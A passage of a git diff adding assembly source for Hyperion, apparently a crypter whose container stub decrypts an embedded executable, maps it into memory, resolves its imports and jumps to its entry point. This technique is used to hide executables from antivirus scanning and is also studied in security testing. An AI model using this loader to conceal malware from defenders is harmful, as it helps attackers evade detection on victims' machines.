binToString_ stdcall buffer:DWORD, bin:DWORD + + pushad + mov ebx,[bin] + mov ecx,8 + +bts_next_byte: + mov eax,ebx + and eax,0000000fh + cmp eax,9 + jg bts_add_55 +bts_add_48: + add eax,48 + jmp bts_store_bin +bts_add_55: + add eax,55 +bts_store_bin: + dec ecx + mov edx,[buffer] + mov byte [ecx+edx],al + test ecx,ecx + jz bts_finished_conversion + shr ebx,4 + jmp bts_next_byte + +bts_finished_conversion: + mov eax,[buffer] + mov byte [eax+8],0 + popad + ret +endp + +;get the length of a string +proc strlen_ stdcall string_ptr:DWORD + + push edi + push ecx + mov edi,[string_ptr] + sub ecx, ecx + sub al, al + not ecx + cld + repne scasb + not ecx + dec ecx + mov eax,ecx + pop ecx + pop edi + ret + +endp + +;Write initial message into logfile +proc initLogFile_ stdcall APITable:DWORD + +local str1[256]:BYTE + + pushad + createStringLogTxt str1 + mov eax,[APITable] + lea ebx,[str1] + stdcall dword [eax+DeleteFile],ebx + createStringStartingHyperionLines str1 + lea eax,[str1] + stdcall writeLog_,[APITable],eax + test eax,eax + jz ilf_exit_error + createStringStartingHyperion str1 + lea eax,[str1] + stdcall writeLog_,[APITable],eax + test eax,eax + jz ilf_exit_error + createStringStartingHyperionLines str1 + lea eax,[str1] + stdcall writeLog_,[APITable],eax + test eax,eax + jz ilf_exit_error + stdcall writeNewLineToLog_,[APITable] + test eax,eax + jz ilf_exit_error + +ilf_exit_success: + popad + mov eax,1 + ret + +ilf_exit_error: + popad + sub eax,eax + ret + +endp \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/32/main.asm b/binary/hyperion/source/Src/Container/32/main.asm new file mode 100644 index 0000000..8f64bfc --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/main.asm @@ -0,0 +1,133 @@ +; Hyperion 32-Bit container.exe + +include 'image_base.inc' +include 'main_prolog.inc' ;format PE ... +entry start + +include '..\..\..\Fasm\INCLUDE\win32a.inc' +include 'hyperion.inc' +include 'createstrings.inc' +include 'pe.inc' +;automatically generated by hyperion cpp stub +include 'key_size.inc' +include 'infile_size.inc' +include 'image_size.inc' +;--- + +;this contains the decrypted and loaded executable +section '.bss' data readable writeable + +decrypted_infile: db IMAGE_SIZE dup (?) + +;-------------------------------------------------- + +;this contains the encrypted exe +section '.data' data readable writeable + +encrypted_infile: include 'infile_array.inc' + +;-------------------------------------------------- + +section '.text' code readable executable + +;include necessary functions +include 'logfile_select.asm' +include 'loadapis.asm' +include 'loadexecutable.asm' +;automatically generated by hyperion cpp stub +include 'decryption_payload.asm' +;--- + +start: stdcall MainMethod + invoke ExitProcess,0 + +proc MainMethod stdcall + local str1[256]:BYTE,\ + APITable:DWORD,\ + CreateFileMapping_:DWORD,\ + MapViewOfFile_:DWORD,\ + UnmapViewOfFile_:DWORD,\ + CreateFile_:DWORD,\ + CloseHandle_:DWORD,\ + DeleteFile_:DWORD,\ + GetModuleHandle_:DWORD,\ + VirtualAlloc_:DWORD,\ + VirtualProtect_:DWORD,\ + VirtualFree_:DWORD + + ;pointer to the API table + lea eax,[CreateFileMapping_] + mov [APITable],eax + + ;load APIs for log file access + stdcall loadLogAPIs,[APITable] + test eax,eax + jz main_exiterrornolog + + ;create logfile and write initial message into it + initLogFile APITable + test eax,eax + jz main_exiterrornolog + + ;load all necessary APIs + stdcall loadRegularAPIs, [APITable] + test eax,eax + jz main_exiterror + writeNewLineToLog APITable + test eax,eax + jz main_exiterror + + ;decrypt exe in data section + stdcall decryptExecutable, [APITable], encrypted_infile + test eax,eax + jz main_exiterror + + ;load the executable at its image base + ;(this will overwrite current MZ header and bss section) + stdcall loadExecutable, [APITable], encrypted_infile + test eax,eax + jz main_exiterror + + ;start program execution + mov edx,IMAGE_BASE + mov eax,[edx+IMAGE_DOS_HEADER.e_lfanew] + add eax,edx + add eax,4 + ;image file header now in eax + add eax,sizeof.IMAGE_FILE_HEADER + mov eax,[eax+IMAGE_OPTIONAL_HEADER32.AddressOfEntryPoint] + add eax,IMAGE_BASE + ;entry point of original exe is now in eax + jmp eax + +;finished without errors +main_exitsuccess: + writeNewLineToLog APITable + createStringDone str1 + lea eax,[str1] + writeLog APITable, eax + ret + +;finished with errors after logfile API loading +main_exiterror: + writeNewLineToLog APITable + createStringError str1 + lea eax,[str1] + writeLog APITable, eax + ret + +;finished with errors before logfile API loading +main_exiterrornolog: + ret + +endp + +;import table +section '.idata' import data readable writeable + + library kernel,'KERNEL32.DLL' + + import kernel,\ + GetProcAddress,'GetProcAddress',\ + LoadLibrary,'LoadLibraryA',\ + ExitProcess,'ExitProcess' diff --git a/binary/hyperion/source/Src/Container/32/pe.inc b/binary/hyperion/source/Src/Container/32/pe.inc new file mode 100644 index 0000000..39ece1e --- /dev/null +++ b/binary/hyperion/source/Src/Container/32/pe.inc @@ -0,0 +1,377 @@ +IMAGE_DOS_SIGNATURE = 05A4Dh +IMAGE_OS2_SIGNATURE = 0454Eh +IMAGE_OS2_SIGNATURE_LE = 0454Ch +IMAGE_VXD_SIGNATURE = 0454Ch +IMAGE_LX_SIGNATURE = 0584Ch +IMAGE_NT_SIGNATURE = 04550h + +IMAGE_FILE_MACHINE_UNKNOWN = 0 +IMAGE_FILE_MACHINE_I386 = 014ch +IMAGE_FILE_MACHINE_R3000 = 0162h +IMAGE_FILE_MACHINE_R4000 = 0166h +IMAGE_FILE_MACHINE_R10000 = 0168h +IMAGE_FILE_MACHINE_WCEMIPSV2 = 0169h +IMAGE_FILE_MACHINE_ALPHA = 0184h +IMAGE_FILE_MACHINE_SH3 = 01a2h +IMAGE_FILE_MACHINE_SH3DSP = 01a3h +IMAGE_FILE_MACHINE_SH3E = 01a4h +IMAGE_FILE_MACHINE_SH4 = 01a6h +IMAGE_FILE_MACHINE_SH5 = 01a8h +IMAGE_FILE_MACHINE_ARM = 01c0h +IMAGE_FILE_MACHINE_THUMB = 01c2h +IMAGE_FILE_MACHINE_AM33 = 01d3h +IMAGE_FILE_MACHINE_POWERPC = 01F0h +IMAGE_FILE_MACHINE_POWERPCFP = 01f1h +IMAGE_FILE_MACHINE_IA64 = 0200h +IMAGE_FILE_MACHINE_MIPS16 = 0266h +IMAGE_FILE_MACHINE_ALPHA64 = 0284h +IMAGE_FILE_MACHINE_MIPSFPU = 0366h +IMAGE_FILE_MACHINE_MIPSFPU16 = 0466h +IMAGE_FILE_MACHINE_AXP64 = IMAGE_FILE_MACHINE_ALPHA64 +IMAGE_FILE_MACHINE_TRICORE = 0520h +IMAGE_FILE_MACHINE_CEF = 0CEFh +IMAGE_FILE_MACHINE_EBC = 0EBCh +IMAGE_FILE_MACHINE_AMD64 = 8664h +IMAGE_FILE_MACHINE_M32R = 9041h +IMAGE_FILE_MACHINE_CEE = 0C0EEh + +IMAGE_SIZEOF_NT_OPTIONAL32_HEADER = 224 +IMAGE_NT_OPTIONAL_HDR32_MAGIC = 10bh + +IMAGE_FILE_RELOCS_STRIPPED = 0001h +IMAGE_FILE_EXECUTABLE_IMAGE = 0002h +IMAGE_FILE_LINE_NUMS_STRIPPED = 0004h +IMAGE_FILE_LOCAL_SYMS_STRIPPED = 0008h +IMAGE_FILE_AGGRESIVE_WS_TRIM = 0010h +IMAGE_FILE_LARGE_ADDRESS_AWARE = 0020h +IMAGE_FILE_BYTES_REVERSED_LO = 0080h +IMAGE_FILE_32BIT_MACHINE = 0100h +IMAGE_FILE_DEBUG_STRIPPED = 0200h +IMAGE_FILE_REMOVABLE_RUN_FROM_SWAP = 0400h +IMAGE_FILE_NET_RUN_FROM_SWAP = 0800h +IMAGE_FILE_SYSTEM = 1000h +IMAGE_FILE_DLL = 2000h +IMAGE_FILE_UP_SYSTEM_ONLY = 4000h +IMAGE_FILE_BYTES_REVERSED_HI = 8000h + +IMAGE_SUBSYSTEM_UNKNOWN = 0 +IMAGE_SUBSYSTEM_NATIVE = 1 +IMAGE_SUBSYSTEM_WINDOWS_GUI = 2 +IMAGE_SUBSYSTEM_WINDOWS_CUI = 3 +IMAGE_SUBSYSTEM_OS2_CUI = 5 +IMAGE_SUBSYSTEM_POSIX_CUI = 7 +IMAGE_SUBSYSTEM_NATIVE_WINDOWS = 8 +IMAGE_SUBSYSTEM_WINDOWS_CE_GUI = 9 +IMAGE_SUBSYSTEM_EFI_APPLICATION = 10 +IMAGE_SUBSYSTEM_EFI_BOOT_SERVICE_DRIVER = 11 +IMAGE_SUBSYSTEM_EFI_RUNTIME_DRIVER = 12 +IMAGE_SUBSYSTEM_EFI_ROM = 13 +IMAGE_SUBSYSTEM_XBOX = 14 +IMAGE_SUBSYSTEM_WINDOWS_BOOT_APPLICATION = 16 + +IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE = 0040h +IMAGE_DLLCHARACTERISTICS_FORCE_INTEGRITY = 0080h +IMAGE_DLLCHARACTERISTICS_NX_COMPAT = 0100h +IMAGE_DLLCHARACTERISTICS_NO_ISOLATION = 0200h +IMAGE_DLLCHARACTERISTICS_NO_SEH = 0400h +IMAGE_DLLCHARACTERISTICS_NO_BIND = 0800h +IMAGE_DLLCHARACTERISTICS_WDM_DRIVER = 2000h +IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE = 8000h + +IMAGE_DIRECTORY_ENTRY_EXPORT = 0 +IMAGE_DIRECTORY_ENTRY_IMPORT = 1 +IMAGE_DIRECTORY_ENTRY_RESOURCE = 2 +IMAGE_DIRECTORY_ENTRY_EXCEPTION = 3 +IMAGE_DIRECTORY_ENTRY_SECURITY = 4 +IMAGE_DIRECTORY_ENTRY_BASERELOC = 5 +IMAGE_DIRECTORY_ENTRY_DEBUG = 6 +IMAGE_DIRECTORY_ENTRY_COPYRIGHT = 7 +IMAGE_DIRECTORY_ENTRY_ARCHITECTURE = 7 +IMAGE_DIRECTORY_ENTRY_GLOBALPTR = 8 +IMAGE_DIRECTORY_ENTRY_TLS = 9 +IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG = 10 +IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT = 11 +IMAGE_DIRECTORY_ENTRY_IAT = 12 +IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT = 13 +IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR = 14 + +IMAGE_SIZEOF_SECTION_HEADER = 40 + +IMAGE_SCN_TYPE_NO_PAD = 00000008h +IMAGE_SCN_CNT_CODE = 00000020h +IMAGE_SCN_CNT_INITIALIZED_DATA = 00000040h +IMAGE_SCN_CNT_UNINITIALIZED_DATA = 00000080h +IMAGE_SCN_LNK_OTHER = 00000100h +IMAGE_SCN_LNK_INFO = 00000200h +IMAGE_SCN_LNK_REMOVE = 00000800h +IMAGE_SCN_LNK_COMDAT = 00001000h +IMAGE_SCN_NO_DEFER_SPEC_EXC = 00004000h +IMAGE_SCN_GPREL = 00008000h +IMAGE_SCN_MEM_FARDATA = 00008000h +IMAGE_SCN_MEM_PURGEABLE = 00020000h +IMAGE_SCN_MEM_16BIT = 00020000h +IMAGE_SCN_MEM_LOCKED = 00040000h +IMAGE_SCN_MEM_PRELOAD = 00080000h +IMAGE_SCN_ALIGN_1BYTES = 00100000h +IMAGE_SCN_ALIGN_2BYTES = 00200000h +IMAGE_SCN_ALIGN_4BYTES = 00300000h +IMAGE_SCN_ALIGN_8BYTES = 00400000h +IMAGE_SCN_ALIGN_16BYTES = 00500000h +IMAGE_SCN_ALIGN_32BYTES = 00600000h +IMAGE_SCN_ALIGN_64BYTES = 00700000h +IMAGE_SCN_ALIGN_128BYTES = 00800000h +IMAGE_SCN_ALIGN_256BYTES = 00900000h +IMAGE_SCN_ALIGN_512BYTES = 00A00000h +IMAGE_SCN_ALIGN_1024BYTES = 00B00000h +IMAGE_SCN_ALIGN_2048BYTES = 00C00000h +IMAGE_SCN_ALIGN_4096BYTES = 00D00000h +IMAGE_SCN_ALIGN_8192BYTES = 00E00000h +IMAGE_SCN_LNK_NRELOC_OVFL = 01000000h +IMAGE_SCN_MEM_DISCARDABLE = 02000000h +IMAGE_SCN_MEM_NOT_CACHED = 04000000h +IMAGE_SCN_MEM_NOT_PAGED = 08000000h +IMAGE_SCN_MEM_SHARED = 10000000h +IMAGE_SCN_MEM_EXECUTE = 20000000h +IMAGE_SCN_MEM_READ = 40000000h +IMAGE_SCN_MEM_WRITE = 80000000h +IMAGE_SCN_SCALE_INDEX = 00000001h + +struct IMAGE_DOS_HEADER + e_magic dw ? + e_cblp dw ? + e_cp dw ? + e_crlc dw ? + e_cparhdr dw ? + e_minalloc dw ? + e_maxalloc dw ? + e_ss dw ? + e_sp dw ? + e_csum dw ? + e_ip dw ? + e_cs dw ? + e_lfarlc dw ? + e_ovno dw ? + e_res rw 4 + e_oemid dw ? + e_oeminfo dw ? + e_res2 rw 10 + e_lfanew dd ? +ends + +struct IMAGE_FILE_HEADER + Machine dw ? + NumberOfSections dw ? + TimeDateStamp dd ? + PointerToSymbolTable dd ? + NumberOfSymbols dd ? + SizeOfOptionalHeader dw ? + Characteristics dw ? +ends + +struct IMAGE_DATA_DIRECTORY + VirtualAddress dd ? + isize dd ? +ends + +IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16 + +struct IMAGE_OPTIONAL_HEADER32 + Magic dw ? + MajorLinkerVersion db ? + MinorLinkerVersion db ? + SizeOfCode dd ? + SizeOfInitializedData dd ? + SizeOfUninitializedData dd ? + AddressOfEntryPoint dd ? + BaseOfCode dd ? + BaseOfData dd ? + ImageBase dd ? + SectionAlignment dd ? + FileAlignment dd ? + MajorOperatingSystemVersion dw ? + MinorOperatingSystemVersion dw ? + MajorImageVersion dw ? + MinorImageVersion dw ? + MajorSubsystemVersion dw ? + MinorSubsystemVersion dw ? + Win32VersionValue dd ? + SizeOfImage dd ? + SizeOfHeaders dd ? + CheckSum dd ? + Subsystem dw ? + DllCharacteristics dw ? + SizeOfStackReserve dd ? + SizeOfStackCommit dd ? + SizeOfHeapReserve dd ? + SizeOfHeapCommit dd ? + LoaderFlags dd ? + NumberOfRvaAndSizes dd ? + DataDirectory rb (sizeof.IMAGE_DATA_DIRECTORY*IMAGE_NUMBEROF_DIRECTORY_ENTRIES) +ends + +struct IMAGE_NT_HEADERS32 + Signature dd ? + FileHeader IMAGE_FILE_HEADER ? + OptionalHeader IMAGE_OPTIONAL_HEADER32 ? +ends + +IMAGE_SIZEOF_SHORT_NAME = 8 + +struct IMAGE_SECTION_HEADER + _Name db IMAGE_SIZEOF_SHORT_NAME dup (?) + union + PhysicalAddress dd ? + VirtualSize dd ? + ends + VirtualAddress dd ? + SizeOfRawData dd ? + PointerToRawData dd ? + PointerToRelocations dd ? + PointerToLinenumbers dd ? + NumberOfRelocations dw ? + NumberOfLinenumbers dw ? + Characteristics dd ? +ends + +struct IMAGE_EXPORT_DIRECTORY + Characteristics dd ? + TimeDateStamp dd ? + MajorVersion dw ? + MinorVersion dw ? + Name_ dd ? + Base dd ? + NumberOfFunctions dd ? + NumberOfNames dd ? + AddressOfFunctions dd ? + AddressOfNames dd ? + AddressOfNameOrdinals dd ? +ends + +struct IMAGE_IMPORT_DESCRIPTOR + union + Characteristics dd ? + OriginalFirstThunk dd ? + ends + TimeDateStamp dd ? + ForwarderChain dd ? + Name_ dd ? + FirstThunk dd ? +ends + +struct IMAGE_THUNK_DATA32 + union + ForwarderString dd ? + Function dd ? + Ordinal dd ? + AddressOfData dd ? + ends +ends + +struct IMAGE_IMPORT_BY_NAME + Hint dw ? + Name_ rb 1 +ends + +IMAGE_ORDINAL_FLAG32 = 80000000h + +struct IMAGE_BOUND_IMPORT_DESCRIPTOR + TimeDateStamp dd ? + OffsetModuleName dw ? + NumberOfModuleForwarderRefs dw ? +ends + +struct IMAGE_BOUND_FORWARDER_REF + TimeDateStamp dd ? + OffsetModuleName dw ? + Reserved dw ? +ends + +struct IMAGE_RESOURCE_DIRECTORY + Characteristics dd ? + TimeDateStamp dd ? + MajorVersion dw ? + MinorVersion dw ? + NumberOfNamedEntries dw ? + NumberOfIdEntries dw ? +ends + +struct IMAGE_RESOURCE_DIRECTORY_ENTRY + _id dd ? + _offset dd ? +ends + +struct IMAGE_RESOURCE_DIRECTORY_STRING + Length_ dw ? + NameString rb 1 +ends + +struct IMAGE_RESOURCE_DATA_ENTRY + OffsetToData dd ? + Size_ dd ? + CodePage dd ? + Reserved dd ? +ends + +RT_NEWRESOURCE = 00002000h +RT_ERROR = 00007fffh +RT_CURSOR = 000000001 +RT_BITMAP = 000000002 +RT_ICON = 000000003 +RT_MENU = 000000004 +RT_DIALOG = 000000005 +RT_STRING = 000000006 +RT_FONTDIR = 000000007 +RT_FONT = 000000008 +RT_ACCELERATORS = 000000009 +RT_RCDATA = 0000000010 +RT_MESSAGETABLE = 0000000011 +RT_GROUP_CURSOR = 0000000012 +RT_GROUP_ICON = 0000000014 +RT_VERSION = 0000000016 +RT_NEWBITMAP = (RT_BITMAP or RT_NEWRESOURCE) +RT_NEWMENU = (RT_MENU or RT_NEWRESOURCE) +RT_NEWDIALOG = (RT_DIALOG or RT_NEWRESOURCE) + +struct IMAGE_BASE_RELOCATION + VirtualAddress dd ? + SizeOfBlock dd ? +ends + +IMAGE_REL_BASED_ABSOLUTE = 0 +IMAGE_REL_BASED_HIGH = 1 +IMAGE_REL_BASED_LOW = 2 +IMAGE_REL_BASED_HIGHLOW = 3 +IMAGE_REL_BASED_HIGHADJ = 4 +IMAGE_REL_BASED_MIPS_JMPADDR = 5 +IMAGE_REL_BASED_SECTION = 6 +IMAGE_REL_BASED_REL32 = 7 + +struct IMAGE_TLS_DIRECTORY32 + StartAddressOfRawData dd ? + EndAddressOfRawData dd ? + AddressOfIndex dd ? + AddressOfCallBacks dd ? + SizeOfZeroFill dd ? + Characteristics dd ? +ends + +struct IMAGE_LOAD_CONFIG_DIRECTORY32 + Characteristics dd ? + TimeDateStamp dd ? + MajorVersion dw ? + MinorVersion dw ? + GlobalFlagsClear dd ? + GlobalFlagsSet dd ? + CriticalSectionDefaultTimeout dd ? + DeCommitFreeBlockThreshold dd ? + DeCommitTotalFreeThreshold dd ? + LockPrefixTable dd ? + MaximumAllocationSize dd ? + VirtualMemoryThreshold dd ? + ProcessHeapFlags dd ? + ProcessAffinityMask dd ? + CSDVersion dw ? + Reserved1 dw ? + EditList dd ? + Reserved rd 1 +ends \ No newline at end of file diff --git a/binary/hyperion/source/Src/Container/64/loadexecutable.asm b/binary/hyperion/source/Src/Container/64/loadexecutable.asm new file mode 100644 index 0000000..d63f2bb --- /dev/null +++ b/binary/hyperion/source/Src/Container/64/loadexecutable.asm @@ -0,0 +1,553 @@ +;Loads the exe which is stored in input_image +;into memory and starts its execution +proc loadExecutable input_image:QWORD + +local str1[256]:BYTE, ret_val:QWORD, image_file_header:QWORD,\ +loaded_file:QWORD + + mov [input_image],rcx + + ;verify checksum of packed executable + writeWithNewLine createStringVerifyChecksum, str1, le_exit_error + fastcall verifyChecksum, [input_image], INFILE_SIZE + test rax,rax + jz le_exit_error + + ;verify whether the content of the data section is pe + writeWithNewLine createStringVerifyPE, str1, le_exit_error + mov rax,[input_image] + add rax,4 + fastcall verifyPE, rax + test rax,rax + mov [image_file_header],rax + jz le_exit_error + + ;copy pe header and sections into memory + writeNewLineToLog le_exit_error + writeWithNewLine createStringMappingFileInMemory, str1, le_exit_error + mov rax,[input_image] + add rax,4 + fastcall loadFile, [image_file_header], rax, INFILE_SIZE-4 + test rax,rax + mov [loaded_file],rax + jz le_exit_error + + ;loading import table + writeNewLineToLog le_exit_error + writeWithNewLine createStringLoadingFilesAPIs, str1, le_exit_error + fastcall loadImportTable, [loaded_file] + test rax,rax + jz le_exit_error + + ;set the correct permissions for each section + writeNewLineToLog le_exit_error + writeWithNewLine createStringSettingPermissions, str1, le_exit_error + mov rax,[input_image] + add rax,4 + fastcall setPermissions, [image_file_header], rax, INFILE_SIZE-4 + test rax,rax + jz le_exit_error + +le_exit_success: + mov rax,1 + ret + +le_exit_error: + sub rax,rax + ret + +endp + +;load the APIs in the import table +proc loadImportTable uses rsi rdi rbx, image_base:QWORD + +local str1[256]:BYTE, import_table:QWORD, null_directory_entry[sizeof.IMAGE_IMPORT_DESCRIPTOR]:BYTE + + mov [image_base], rcx + + ;find import table in data directory + mov rdx,[image_base] + mov eax,[rdx+IMAGE_DOS_HEADER.e_lfanew] + add rax,rdx + add rax,4 + ;image file header now in eax + add rax,sizeof.IMAGE_FILE_HEADER + lea rax,[rax+IMAGE_OPTIONAL_HEADER64.DataDirectory] + ;first data directory entry now in eax + add rax,sizeof.IMAGE_DATA_DIRECTORY + ;import data directory entry now in eax + mov eax,[rax+IMAGE_DATA_DIRECTORY.VirtualAddress] + add rax,rdx + ;pointer to import table now in eax + mov [import_table],rax + writeWithNewLine createStringFoundImportTable, str1, le_exit_error + writeRegisterToLog [import_table], pit_exit_error + + ;init null directory entry + lea r8,[null_directory_entry] + mov rcx,sizeof.IMAGE_IMPORT_DESCRIPTOR + mov al,0 +pit_init_null_directory_loop: + mov [r8],al + inc r8 + dec rcx + jnz pit_init_null_directory_loop + + mov rbx,[import_table] + ;iterate over the directory tables +pit_next_directory_entry: + lea rsi,[null_directory_entry] + mov rdi,rbx + mov rcx,sizeof.IMAGE_IMPORT_DESCRIPTOR + rep cmpsb + je pit_exit_success + ;load APIs of this directory + fastcall loadImportDirectoryTable, [image_base], rbx + test rax,rax + jz pit_exit_error + ;next entry + add rbx,sizeof.IMAGE_IMPORT_DESCRIPTOR + jmp pit_next_directory_entry + +pit_exit_success: + mov eax,1 + jmp pit_exit_ret + +pit_exit_error: + sub rax,rax + +pit_exit_ret: + ret + +endp + +;loads the APIs +proc loadImportDirectoryTable uses rbx r12, image_base:QWORD, directory_entry:QWORD + +local str1[256]:BYTE, lookup_table:QWORD, import_address_table:QWORD, dll_image_base:QWORD + + mov [image_base],rcx + mov [directory_entry],rdx + + ;write info about data directory table to logfile + writeNewLineToLog lidt_exit_error + writeWithNewLine createStringProcessImportDirectory, str1, lidt_exit_error + mov rax,[directory_entry] + mov eax,[rax+IMAGE_IMPORT_DESCRIPTOR.Name_] + add rax,[image_base] + mov rbx,rax + ;pointer to dll name in ebx + writeLog rax, lidt_exit_error + writeNewLineToLog lidt_exit_error + + ;load the corresponding dll + invoke LoadLibrary, rbx + test rax,rax + jz lidt_exit_error + mov [dll_image_base],rax + + ;read pointers to the api tables + mov rdx,[directory_entry] + mov eax,[rdx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk] + add rax,[image_base] + mov [import_address_table],rax + ;check whether OriginalFirstThunk exists and can be used + mov eax,[rdx+IMAGE_IMPORT_DESCRIPTOR.OriginalFirstThunk] + test eax,eax + jnz lidt_use_original_first_thunk + ;in some binaries, OriginalFirstThunk table is empty + ;in this case, use FirstThunk insteadt to fetch API names or ordinals + mov eax,[rdx+IMAGE_IMPORT_DESCRIPTOR.FirstThunk] +lidt_use_original_first_thunk: + add rax,[image_base] + mov [lookup_table],rax + + ;index to current API + sub r12,r12 + ;iterate the lookup_table entries +lidt_next_lookup_entry: + mov rcx,r12 + mov rax,[lookup_table] + add rax,r12 ;counter is in r12 + mov rax,[rax] ;get entry (64 bit in PE+) + test rax,rax + jz lidt_exit_success + mov rbx,rax + mov rcx,IMAGE_ORDINAL_FLAG64 + and rax,rcx + jnz lidt_byordinal +lidt_byname: + createStringName str1 + writeLog rax, lidt_exit_error + add rbx,[image_base] ;according to spec, first 32 bits are 0, therefore add is possible + lea rbx,[rbx+IMAGE_IMPORT_BY_NAME.Name_] + mov rax,rbx ;pointer to API name is now in rax and rbx + writeLog rax, lidt_exit_error + writeNewLineToLog lidt_exit_error + ;API name pointer in rbx + invoke GetProcAddress, [dll_image_base], rbx + test rax,rax + jz lidt_exit_error + mov rbx,[import_address_table] + add rbx,r12 + mov [rbx],rax + ;fetch next API + add r12,8 ;size of entries in import lookup table and import address table is 8 in PE+ + jmp lidt_next_lookup_entry + +lidt_byordinal: + createStringOrdinal str1 + writeLog rax, lidt_exit_error + ;remove the ordinal flag + mov rcx,IMAGE_ORDINAL_FLAG64 + xor rbx,rcx + mov rax,rbx + writeRegisterToLog rax, lidt_exit_error + ;API ordinal in rbx + invoke GetProcAddress, [dll_image_base], rbx + test rax,rax + jz lidt_exit_error + mov rbx,[import_address_table] + add rbx,r12 + mov [rbx],rax + ;fetch next API + add r12,8 + jmp lidt_next_lookup_entry + +lidt_exit_success: + mov rax,1 + jmp lidt_exit_ret + +lidt_exit_error: + sub rax,rax + +lidt_exit_ret: + ret + +endp; + +;sets the memory permissions for each section +proc setPermissions uses rbx r12, image_file_header:QWORD, file_image_base:QWORD, \ +file_image_size:QWORD + +local number_of_sections:QWORD, image_base:QWORD, section_headers:QWORD,\ +pe_header_size:QWORD, str1[256]:BYTE, vprotect_ret:QWORD + + mov [image_file_header],rcx + mov [file_image_base],rdx + mov [file_image_size],r8 + + ;find section header + sub rax,rax + mov rdx,[image_file_header] + mov ax,[rdx+IMAGE_FILE_HEADER.NumberOfSections] + mov [number_of_sections],rax + add rdx,sizeof.IMAGE_FILE_HEADER + mov rax,[rdx+IMAGE_OPTIONAL_HEADER64.ImageBase] + mov [image_base],rax + ;search for section header + lea r12,[rdx+IMAGE_OPTIONAL_HEADER64.DataDirectory] + mov eax,[rdx+IMAGE_OPTIONAL_HEADER64.NumberOfRvaAndSizes] + mov rdx,sizeof.IMAGE_DATA_DIRECTORY + mul rdx + add rax,r12 + ;first section header found + mov [section_headers],rax + mov rax,sizeof.IMAGE_SECTION_HEADER + mov rdx,[number_of_sections] + mul rdx + ;end of section header sections found + add rax,[section_headers] + mov r12,[file_image_base] + sub rax,r12 + ;unaligned size of pe header in eax + mov [pe_header_size],rax + + ;set pe header page read-only + lea r12,[vprotect_ret] + invoke VirtualProtect, [image_base], [pe_header_size], PAGE_READONLY, r12 + test rax,rax + jz sp_exit_error + + ;some output for the user + writeRegisterToLog [image_base], sp_exit_error + + ;set the section page permissions + mov r12,[number_of_sections] + mov rbx,[section_headers] +sp_load_section_loop: + fastcall setSection, rbx, [image_base], [file_image_base] + test rax,rax + jz sp_exit_error + add rbx,sizeof.IMAGE_SECTION_HEADER + dec r12 + jnz sp_load_section_loop + +sp_exit_success: + mov rax,1 + jmp sp_exit_ret + +sp_exit_error: + sub rax,rax + +sp_exit_ret: + ret + +endp; + +;sets the complete image of the decrypted file writeable so +;we can copy pe header and sections into it +proc loadFile uses rbx rdi rsi, image_file_header:QWORD, file_image_base:QWORD, \ +file_image_size:QWORD + +local number_of_sections:QWORD, image_base:QWORD, aux:QWORD,\ +str1[256]:BYTE, vprotect_ret:QWORD, section_headers:QWORD, pe_header_size:QWORD + + mov [image_file_header],rcx + mov [file_image_base],rdx + mov [file_image_size],r8 + + ;find section header + ;mov edx,[image_file_header] + sub rax,rax + mov rdx,[image_file_header] + mov ax,[rdx+IMAGE_FILE_HEADER.NumberOfSections] + mov [number_of_sections],rax + add rdx,sizeof.IMAGE_FILE_HEADER + mov rax,[rdx+IMAGE_OPTIONAL_HEADER64.ImageBase] + mov [image_base],rax + ;make the complete image writable + mov esi,[rdx+IMAGE_OPTIONAL_HEADER64.SizeOfImage] + mov [aux],rdx ;store edx, we need it later + lea rbx,[vprotect_ret] + invoke VirtualProtect, [image_base], rsi, PAGE_READWRITE, rbx + test rax,rax + jz lf_exit_error + + ;some output for the user + writeWithNewLine createStringLoadedPEHeader, str1, lf_exit_error + writeRegisterToLog [image_base], lf_exit_error + + mov rdx,[aux] ;restore rdx + ;continue search for section header + lea rbx,[rdx+IMAGE_OPTIONAL_HEADER64.DataDirectory] + mov eax,[rdx+IMAGE_OPTIONAL_HEADER64.NumberOfRvaAndSizes] + mov rdx,sizeof.IMAGE_DATA_DIRECTORY + mul rdx + add rax,rbx + + ;first section header found + mov [section_headers],rax + mov rax,sizeof.IMAGE_SECTION_HEADER + mov rdx,[number_of_sections] + mul rdx + ;end of section header sections found + add rax,[section_headers] + mov rbx,[file_image_base] + sub rax,rbx + ;unaligned size of pe header in eax + mov [pe_header_size],rax + + ;copy header to memory + mov rdi,[image_base] + mov rsi,[file_image_base] + mov rcx,[pe_header_size] + rep movsb + + ;load the sections + mov rsi,[number_of_sections] + mov rbx,[section_headers] +lf_load_section_loop: + fastcall loadSection, rbx, [image_base], [file_image_base] + test rax,rax + jz lf_exit_error + add rbx,sizeof.IMAGE_SECTION_HEADER + dec rsi + jnz lf_load_section_loop + +lf_exit_success: + mov rax,[image_base] + jmp lf_exit_ret + +lf_exit_error: + sub rax,rax + +lf_exit_ret: + ret +endp + +;load the corresponding section into memory +proc loadSection uses rdi rsi r12, section_header:QWORD, image_base:QWORD,\ +file_image_base:QWORD + +local str1[256]:BYTE + + mov [section_header],rcx + mov [image_base],rdx + mov [file_image_base],r8 + + ;copy from file into memory + mov rdx,[section_header] + mov edi,[rdx+IMAGE_SECTION_HEADER.VirtualAddress] + add rdi,[image_base] + mov esi,[rdx+IMAGE_SECTION_HEADER.PointerToRawData] + add rsi,[file_image_base] + mov ecx,[rdx+IMAGE_SECTION_HEADER.SizeOfRawData] + rep movsb + writeSectionNameAndAddressToLog + +ls_exit_success: + mov rax,1 + jmp ls_exit_ret + +ls_exit_error: + sub rax,rax + +ls_exit_ret: + ret + +endp + +;set the memory page permission for the corresponding section +proc setSection uses rbx r12, section_header:QWORD, image_base:QWORD,\ +file_image_base:QWORD + +local section_flags:QWORD, vprotect_ret:QWORD, str1[256]:BYTE + + mov [section_header],rcx + mov [image_base],rdx + mov [file_image_base],r8 + + ;section execute/read/write? + mov rdx,[section_header] + mov ebx,[rdx+IMAGE_SECTION_HEADER.Characteristics] + and ebx,IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE + 